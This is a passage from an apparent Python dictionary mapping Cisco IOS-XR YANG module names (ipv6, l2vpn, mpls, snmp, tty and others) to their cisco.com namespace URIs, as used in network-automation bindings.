'Cisco-IOS-XR-ipv6-ma-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-ma-oper',
'Cisco-IOS-XR-ipv6-ma-subscriber-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-ma-subscriber-cfg',
'Cisco-IOS-XR-ipv6-nd-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-nd-cfg',
'Cisco-IOS-XR-ipv6-nd-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-nd-oper',
'Cisco-IOS-XR-ipv6-nd-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-nd-oper',
'Cisco-IOS-XR-ipv6-nd-subscriber-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-nd-subscriber-cfg',
'Cisco-IOS-XR-ipv6-new-dhcpv6d-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-new-dhcpv6d-cfg',
'Cisco-IOS-XR-ipv6-new-dhcpv6d-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-new-dhcpv6d-oper',
'Cisco-IOS-XR-ipv6-new-dhcpv6d-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-new-dhcpv6d-oper',
'Cisco-IOS-XR-ipv6-new-dhcpv6d-subscriber-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-new-dhcpv6d-subscriber-cfg',
'Cisco-IOS-XR-ipv6-ospfv3-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-ospfv3-cfg',
'Cisco-IOS-XR-ipv6-ospfv3-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-ospfv3-oper',
'Cisco-IOS-XR-ipv6-ospfv3-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-ospfv3-oper',
'Cisco-IOS-XR-ipv6-smiap-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-smiap-cfg',
'Cisco-IOS-XR-l2-eth-infra-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2-eth-infra-cfg',
'Cisco-IOS-XR-l2-eth-infra-datatypes' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2-eth-infra-datatypes',
'Cisco-IOS-XR-l2-eth-infra-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2-eth-infra-oper',
'Cisco-IOS-XR-l2-eth-infra-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2-eth-infra-oper',
'Cisco-IOS-XR-l2-eth-infra-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2-eth-infra-oper',
'Cisco-IOS-XR-l2-eth-infra-oper-sub3' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2-eth-infra-oper',
'Cisco-IOS-XR-l2vpn-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2vpn-cfg',
'Cisco-IOS-XR-l2vpn-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2vpn-oper',
'Cisco-IOS-XR-l2vpn-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2vpn-oper',
'Cisco-IOS-XR-l2vpn-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2vpn-oper',
'Cisco-IOS-XR-l2vpn-oper-sub3' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2vpn-oper',
'Cisco-IOS-XR-l2vpn-oper-sub4' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-l2vpn-oper',
'Cisco-IOS-XR-lib-keychain-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-lib-keychain-cfg',
'Cisco-IOS-XR-lib-keychain-macsec-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-lib-keychain-macsec-cfg',
'Cisco-IOS-XR-lib-keychain-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-lib-keychain-oper',
'Cisco-IOS-XR-lib-keychain-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-lib-keychain-oper',
'Cisco-IOS-XR-lib-mpp-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-lib-mpp-cfg',
'Cisco-IOS-XR-lib-mpp-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-lib-mpp-oper',
'Cisco-IOS-XR-lib-mpp-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-lib-mpp-oper',
'Cisco-IOS-XR-linux-os-reboot-history-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-linux-os-reboot-history-oper',
'Cisco-IOS-XR-linux-os-reboot-history-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-linux-os-reboot-history-oper',
'Cisco-IOS-XR-lpts-lib-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-lpts-lib-cfg',
'Cisco-IOS-XR-lpts-pre-ifib-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-lpts-pre-ifib-cfg',
'Cisco-IOS-XR-lpts-pre-ifib-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-lpts-pre-ifib-oper',
'Cisco-IOS-XR-lpts-pre-ifib-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-lpts-pre-ifib-oper',
'Cisco-IOS-XR-lpts-punt-flowtrap-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-lpts-punt-flowtrap-cfg',
'Cisco-IOS-XR-macsec-ctrlr-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-macsec-ctrlr-oper',
'Cisco-IOS-XR-macsec-ctrlr-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-macsec-ctrlr-oper',
'Cisco-IOS-XR-man-ems-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-man-ems-cfg',
'Cisco-IOS-XR-man-ems-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-man-ems-oper',
'Cisco-IOS-XR-man-ems-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-man-ems-oper',
'Cisco-IOS-XR-man-netconf-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-man-netconf-cfg',
'Cisco-IOS-XR-man-xml-ttyagent-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-man-xml-ttyagent-cfg',
'Cisco-IOS-XR-man-xml-ttyagent-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-man-xml-ttyagent-oper',
'Cisco-IOS-XR-man-xml-ttyagent-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-man-xml-ttyagent-oper',
'Cisco-IOS-XR-manageability-object-tracking-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-manageability-object-tracking-cfg',
'Cisco-IOS-XR-manageability-object-tracking-datatypes' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-manageability-object-tracking-datatypes',
'Cisco-IOS-XR-manageability-object-tracking-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-manageability-object-tracking-oper',
'Cisco-IOS-XR-manageability-object-tracking-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-manageability-object-tracking-oper',
'Cisco-IOS-XR-manageability-perfmgmt-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-manageability-perfmgmt-cfg',
'Cisco-IOS-XR-manageability-perfmgmt-datatypes' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-manageability-perfmgmt-datatypes',
'Cisco-IOS-XR-manageability-perfmgmt-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-manageability-perfmgmt-oper',
'Cisco-IOS-XR-manageability-perfmgmt-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-manageability-perfmgmt-oper',
'Cisco-IOS-XR-mdrv-lib-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mdrv-lib-cfg',
'Cisco-IOS-XR-mpls-ldp-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-ldp-cfg',
'Cisco-IOS-XR-mpls-ldp-cfg-datatypes' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-ldp-cfg-datatypes',
'Cisco-IOS-XR-mpls-ldp-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-ldp-oper',
'Cisco-IOS-XR-mpls-ldp-oper-datatypes' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-ldp-oper-datatypes',
'Cisco-IOS-XR-mpls-ldp-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-ldp-oper',
'Cisco-IOS-XR-mpls-ldp-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-ldp-oper',
'Cisco-IOS-XR-mpls-ldp-oper-sub3' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-ldp-oper',
'Cisco-IOS-XR-mpls-lsd-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-lsd-cfg',
'Cisco-IOS-XR-mpls-lsd-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-lsd-oper',
'Cisco-IOS-XR-mpls-lsd-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-lsd-oper',
'Cisco-IOS-XR-mpls-oam-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-oam-cfg',
'Cisco-IOS-XR-mpls-static-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-static-cfg',
'Cisco-IOS-XR-mpls-static-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-static-oper',
'Cisco-IOS-XR-mpls-static-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-static-oper',
'Cisco-IOS-XR-mpls-te-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-cfg',
'Cisco-IOS-XR-mpls-te-datatypes' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-datatypes',
'Cisco-IOS-XR-mpls-te-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper',
'Cisco-IOS-XR-mpls-te-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper',
'Cisco-IOS-XR-mpls-te-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper',
'Cisco-IOS-XR-mpls-te-oper-sub3' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper',
'Cisco-IOS-XR-mpls-te-oper-sub4' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper',
'Cisco-IOS-XR-mpls-te-oper-sub5' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper',
'Cisco-IOS-XR-mpls-te-oper-sub6' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper',
'Cisco-IOS-XR-mpls-te-oper-sub7' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper',
'Cisco-IOS-XR-mpls-te-oper-sub8' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper',
'Cisco-IOS-XR-mpls-te-oper-sub9' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper',
'Cisco-IOS-XR-mpls-vpn-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-vpn-oper',
'Cisco-IOS-XR-mpls-vpn-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-vpn-oper',
'Cisco-IOS-XR-ncs1k-mxp-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs1k-mxp-cfg',
'Cisco-IOS-XR-ncs1k-mxp-headless-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs1k-mxp-headless-oper',
'Cisco-IOS-XR-ncs1k-mxp-headless-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs1k-mxp-headless-oper',
'Cisco-IOS-XR-ncs1k-mxp-lldp-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs1k-mxp-lldp-oper',
'Cisco-IOS-XR-ncs1k-mxp-lldp-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs1k-mxp-lldp-oper',
'Cisco-IOS-XR-ncs1k-mxp-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs1k-mxp-oper',
'Cisco-IOS-XR-ncs1k-mxp-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs1k-mxp-oper',
'Cisco-IOS-XR-ncs5500-coherent-node-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs5500-coherent-node-oper',
'Cisco-IOS-XR-ncs5500-coherent-node-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs5500-coherent-node-oper',
'Cisco-IOS-XR-ncs5500-coherent-portmode-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs5500-coherent-portmode-oper',
'Cisco-IOS-XR-ncs5500-coherent-portmode-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs5500-coherent-portmode-oper',
'Cisco-IOS-XR-ncs5500-qos-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs5500-qos-oper',
'Cisco-IOS-XR-ncs5500-qos-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs5500-qos-oper',
'Cisco-IOS-XR-ncs5500-qos-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-ncs5500-qos-oper',
'Cisco-IOS-XR-nto-misc-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-nto-misc-oper',
'Cisco-IOS-XR-nto-misc-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-nto-misc-oper',
'Cisco-IOS-XR-nto-misc-shmem-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-nto-misc-shmem-oper',
'Cisco-IOS-XR-nto-misc-shmem-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-nto-misc-shmem-oper',
'Cisco-IOS-XR-nto-misc-shprocmem-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-nto-misc-shprocmem-oper',
'Cisco-IOS-XR-nto-misc-shprocmem-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-nto-misc-shprocmem-oper',
'Cisco-IOS-XR-openconfig-optical-client-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-openconfig-optical-client-cfg',
'Cisco-IOS-XR-openconfig-terminal-device-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-openconfig-terminal-device-cfg',
'Cisco-IOS-XR-openconfig-terminal-device-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-openconfig-terminal-device-oper',
'Cisco-IOS-XR-openconfig-terminal-device-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-openconfig-terminal-device-oper',
'Cisco-IOS-XR-optics-driver-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-optics-driver-cfg',
'Cisco-IOS-XR-otnifmib-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-otnifmib-cfg',
'Cisco-IOS-XR-parser-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-parser-cfg',
'Cisco-IOS-XR-patch-panel-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-patch-panel-cfg',
'Cisco-IOS-XR-pbr-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-pbr-cfg',
'Cisco-IOS-XR-pbr-datatypes' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-pbr-datatypes',
'Cisco-IOS-XR-pbr-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-pbr-oper',
'Cisco-IOS-XR-pbr-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-pbr-oper',
'Cisco-IOS-XR-pbr-subscriber-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-pbr-subscriber-cfg',
'Cisco-IOS-XR-pbr-vservice-ea-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-pbr-vservice-ea-oper',
'Cisco-IOS-XR-pbr-vservice-ea-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-pbr-vservice-ea-oper',
'Cisco-IOS-XR-pbr-vservice-mgr-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-pbr-vservice-mgr-oper',
'Cisco-IOS-XR-pbr-vservice-mgr-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-pbr-vservice-mgr-oper',
'Cisco-IOS-XR-pfi-im-cmd-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-pfi-im-cmd-oper',
'Cisco-IOS-XR-pfi-im-cmd-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-pfi-im-cmd-oper',
'Cisco-IOS-XR-pfi-im-cmd-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-pfi-im-cmd-oper',
'Cisco-IOS-XR-plat-chas-invmgr-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-plat-chas-invmgr-oper',
'Cisco-IOS-XR-plat-chas-invmgr-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-plat-chas-invmgr-oper',
'Cisco-IOS-XR-plat-chas-invmgr-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-plat-chas-invmgr-oper',
'Cisco-IOS-XR-platform-pifib-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-platform-pifib-oper',
'Cisco-IOS-XR-platform-pifib-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-platform-pifib-oper',
'Cisco-IOS-XR-pmengine-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-pmengine-cfg',
'Cisco-IOS-XR-pmengine-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-pmengine-oper',
'Cisco-IOS-XR-pmengine-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-pmengine-oper',
'Cisco-IOS-XR-policy-repository-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-policy-repository-cfg',
'Cisco-IOS-XR-policy-repository-deviations' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-policy-repository-deviations',
'Cisco-IOS-XR-policy-repository-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-policy-repository-oper',
'Cisco-IOS-XR-policy-repository-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-policy-repository-oper',
'Cisco-IOS-XR-prm-server-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-prm-server-oper',
'Cisco-IOS-XR-prm-server-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-prm-server-oper',
'Cisco-IOS-XR-procmem-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-procmem-oper',
'Cisco-IOS-XR-procmem-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-procmem-oper',
'Cisco-IOS-XR-qos-ma-bng-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-qos-ma-bng-cfg',
'Cisco-IOS-XR-qos-ma-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-qos-ma-cfg',
'Cisco-IOS-XR-qos-ma-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-qos-ma-oper',
'Cisco-IOS-XR-qos-mibs-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-qos-mibs-cfg',
'Cisco-IOS-XR-rgmgr-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-rgmgr-cfg',
'Cisco-IOS-XR-rgmgr-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-rgmgr-oper',
'Cisco-IOS-XR-rgmgr-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-rgmgr-oper',
'Cisco-IOS-XR-sdr-invmgr-diag-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-sdr-invmgr-diag-oper',
'Cisco-IOS-XR-sdr-invmgr-diag-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-sdr-invmgr-diag-oper',
'Cisco-IOS-XR-sdr-invmgr-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-sdr-invmgr-oper',
'Cisco-IOS-XR-segment-routing-ms-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-segment-routing-ms-cfg',
'Cisco-IOS-XR-segment-routing-ms-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-segment-routing-ms-oper',
'Cisco-IOS-XR-segment-routing-ms-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-segment-routing-ms-oper',
'Cisco-IOS-XR-shellutil-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-shellutil-cfg',
'Cisco-IOS-XR-shellutil-filesystem-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-shellutil-filesystem-oper',
'Cisco-IOS-XR-shellutil-filesystem-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-shellutil-filesystem-oper',
'Cisco-IOS-XR-shellutil-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-shellutil-oper',
'Cisco-IOS-XR-shellutil-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-shellutil-oper',
'Cisco-IOS-XR-show-fpd-loc-ng-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-show-fpd-loc-ng-oper',
'Cisco-IOS-XR-show-fpd-loc-ng-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-show-fpd-loc-ng-oper',
'Cisco-IOS-XR-skp-qos-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-skp-qos-oper',
'Cisco-IOS-XR-skp-qos-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-skp-qos-oper',
'Cisco-IOS-XR-skp-qos-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-skp-qos-oper',
'Cisco-IOS-XR-snmp-agent-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-agent-cfg',
'Cisco-IOS-XR-snmp-agent-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-agent-oper',
'Cisco-IOS-XR-snmp-agent-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-agent-oper',
'Cisco-IOS-XR-snmp-agent-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-agent-oper',
'Cisco-IOS-XR-snmp-agent-oper-sub3' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-agent-oper',
'Cisco-IOS-XR-snmp-agent-oper-sub4' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-agent-oper',
'Cisco-IOS-XR-snmp-agent-oper-sub5' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-agent-oper',
'Cisco-IOS-XR-snmp-agent-oper-sub6' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-agent-oper',
'Cisco-IOS-XR-snmp-agent-oper-sub7' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-agent-oper',
'Cisco-IOS-XR-snmp-ciscosensormib-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-ciscosensormib-cfg',
'Cisco-IOS-XR-snmp-entitymib-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-entitymib-cfg',
'Cisco-IOS-XR-snmp-entitymib-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-entitymib-oper',
'Cisco-IOS-XR-snmp-entitymib-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-entitymib-oper',
'Cisco-IOS-XR-snmp-entstatemib-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-entstatemib-cfg',
'Cisco-IOS-XR-snmp-frucontrolmib-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-frucontrolmib-cfg',
'Cisco-IOS-XR-snmp-ifmib-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-ifmib-cfg',
'Cisco-IOS-XR-snmp-ifmib-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-ifmib-oper',
'Cisco-IOS-XR-snmp-ifmib-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-ifmib-oper',
'Cisco-IOS-XR-snmp-mib-rfmib-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-mib-rfmib-cfg',
'Cisco-IOS-XR-snmp-sensormib-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-sensormib-oper',
'Cisco-IOS-XR-snmp-sensormib-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-sensormib-oper',
'Cisco-IOS-XR-snmp-sensormib-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-sensormib-oper',
'Cisco-IOS-XR-snmp-syslogmib-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-syslogmib-cfg',
'Cisco-IOS-XR-snmp-test-trap-act' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-test-trap-act',
'Cisco-IOS-XR-spirit-corehelper-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-spirit-corehelper-cfg',
'Cisco-IOS-XR-spirit-install-instmgr-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-spirit-install-instmgr-oper',
'Cisco-IOS-XR-spirit-install-instmgr-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-spirit-install-instmgr-oper',
'Cisco-IOS-XR-spirit-install-instmgr-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-spirit-install-instmgr-oper',
'Cisco-IOS-XR-subscriber-infra-tmplmgr-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-subscriber-infra-tmplmgr-cfg',
'Cisco-IOS-XR-syslog-act' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-syslog-act',
'Cisco-IOS-XR-telemetry-model-driven-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-telemetry-model-driven-cfg',
'Cisco-IOS-XR-telemetry-model-driven-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-telemetry-model-driven-oper',
'Cisco-IOS-XR-telemetry-model-driven-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-telemetry-model-driven-oper',
'Cisco-IOS-XR-traffmon-netflow-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-traffmon-netflow-cfg',
'Cisco-IOS-XR-tty-management-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-management-cfg',
'Cisco-IOS-XR-tty-management-cmd-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-management-cmd-oper',
'Cisco-IOS-XR-tty-management-cmd-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-management-cmd-oper',
'Cisco-IOS-XR-tty-management-datatypes' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-management-datatypes',
'Cisco-IOS-XR-tty-management-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-management-oper',
'Cisco-IOS-XR-tty-management-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-management-oper',
'Cisco-IOS-XR-tty-server-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-server-cfg',
'Cisco-IOS-XR-tty-server-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-server-oper',
'Cisco-IOS-XR-tty-server-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-server-oper',
'Cisco-IOS-XR-tty-server-oper-sub2' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-server-oper',
'Cisco-IOS-XR-tty-server-oper-sub3' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-server-oper',
'Cisco-IOS-XR-tty-server-oper-sub4' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-server-oper',
'Cisco-IOS-XR-tty-server-oper-sub5' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-server-oper',
'Cisco-IOS-XR-tty-vty-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-tty-vty-cfg',
'Cisco-IOS-XR-tunnel-gre-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-tunnel-gre-cfg',
'Cisco-IOS-XR-tunnel-nve-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-tunnel-nve-cfg',
'Cisco-IOS-XR-tunnel-nve-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-tunnel-nve-oper',
'Cisco-IOS-XR-tunnel-nve-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-tunnel-nve-oper',
'Cisco-IOS-XR-types' : 'http://cisco.com/ns/yang/cisco-xr-types',
'Cisco-IOS-XR-upgrade-fpd-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-upgrade-fpd-oper',
'Cisco-IOS-XR-upgrade-fpd-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-upgrade-fpd-oper',
